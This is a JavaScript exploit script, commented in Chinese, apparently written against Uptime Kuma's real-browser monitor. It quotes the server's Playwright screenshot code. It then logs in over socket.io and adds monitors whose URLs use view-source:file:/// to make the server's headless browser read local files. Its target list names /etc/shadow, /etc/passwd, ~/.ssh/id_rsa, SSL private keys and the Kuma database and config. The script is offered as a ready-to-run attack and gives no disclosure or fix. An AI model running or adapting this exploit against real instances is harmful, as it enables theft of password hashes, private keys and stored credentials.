const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();

const res = await page.goto(monitor.url, {
    waitUntil: "networkidle",
    timeout: monitor.interval * 1000 * 0.8,
});

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({
    path: path.join(Database.screenshotDir, filename),
});

await context.close();

const { io } = require("socket.io-client");

// 服务器配置和凭据
const CONFIG = {
  serverUrl: "ws://localhost:3001",
  credentials: {
    username: "admin",
    password: "password1"
  },
  requestType: {
    REAL_BROWSER: "real-browser",
    HTTP: "http"
  },
  urlHeader: {
    VIEW_SOURCE: "view-source:file:///",
    FILE: "file:///"
  }
};

// Linux 系统上的敏感文件列表
const SENSITIVE_FILES = [
  "/etc/passwd",
  "/etc/shadow",
  "/etc/hosts",
  "/etc/hostname",
  "/etc/network/interfaces", // 可能因发行版而异
  "/etc/ssh/ssh_config",
  "/etc/ssh/sshd_config",
  "~/.ssh/authorized_keys",
  "~/.ssh/id_rsa",
  "/etc/ssl/private/*.key",
  "/etc/ssl/certs/*.crt",
  "/app/data/kuma.db", // Uptime Kuma 数据库文件
  "/app/data/config.json" // Uptime Kuma 配置文件
];

// 发送请求并等待响应的函数
function sendRequest(socket, filePath, type) {
  return new Promise((resolve, reject) => {
    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
    if (type == CONFIG.requestType.HTTP) {
      fileUrl = CONFIG.urlHeader.FILE + filePath;
    }
    socket.emit("add", {
      type: type,
      name: type + " " + filePath,
      url: fileUrl,
      method: "GET",
      maxretries: 0,
      timeout: 500,
      notificationIDList: {},
      ignoreTls: true,
      upsideDown: false,
      accepted_statuscodes: ["200-299"]
    }, (res) => {
      console.log(`文件 ${filePath} 的响应：`, res);
      resolve();
    });
  });
}

// 连接并发送 'add' 请求的主函数
(async () => {
  const socket = io(CONFIG.serverUrl);

  // 处理连接错误
  socket.on("connect_error", (err) => {
    console.error("连接失败：", err.message);
  });

  try {
    // 使用凭据连接
    await new Promise((resolve, reject) => {
      socket.emit("login", {
        username: CONFIG.credentials.username,
        password: CONFIG.credentials.password,
        token: ""
      }, (res) => {
        if (res.ok) {
          console.log("连接成功");
          resolve();
        } else {
          console.log(res);
          reject(new Error("连接失败"));
        }
      });
    });

    // 使用 Promise.all 发送每个文件的请求以确保同步
    const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));

    // 等待所有请求发送完毕
    await Promise.all([...realBrowserRequests]);

    // 所有请求发送后关闭 socket
    socket.close();
    console.log("所有请求发送完毕，连接已关闭。");

  } catch (error) {
    console.error("错误：", error.message);
    socket.close();
  }
})();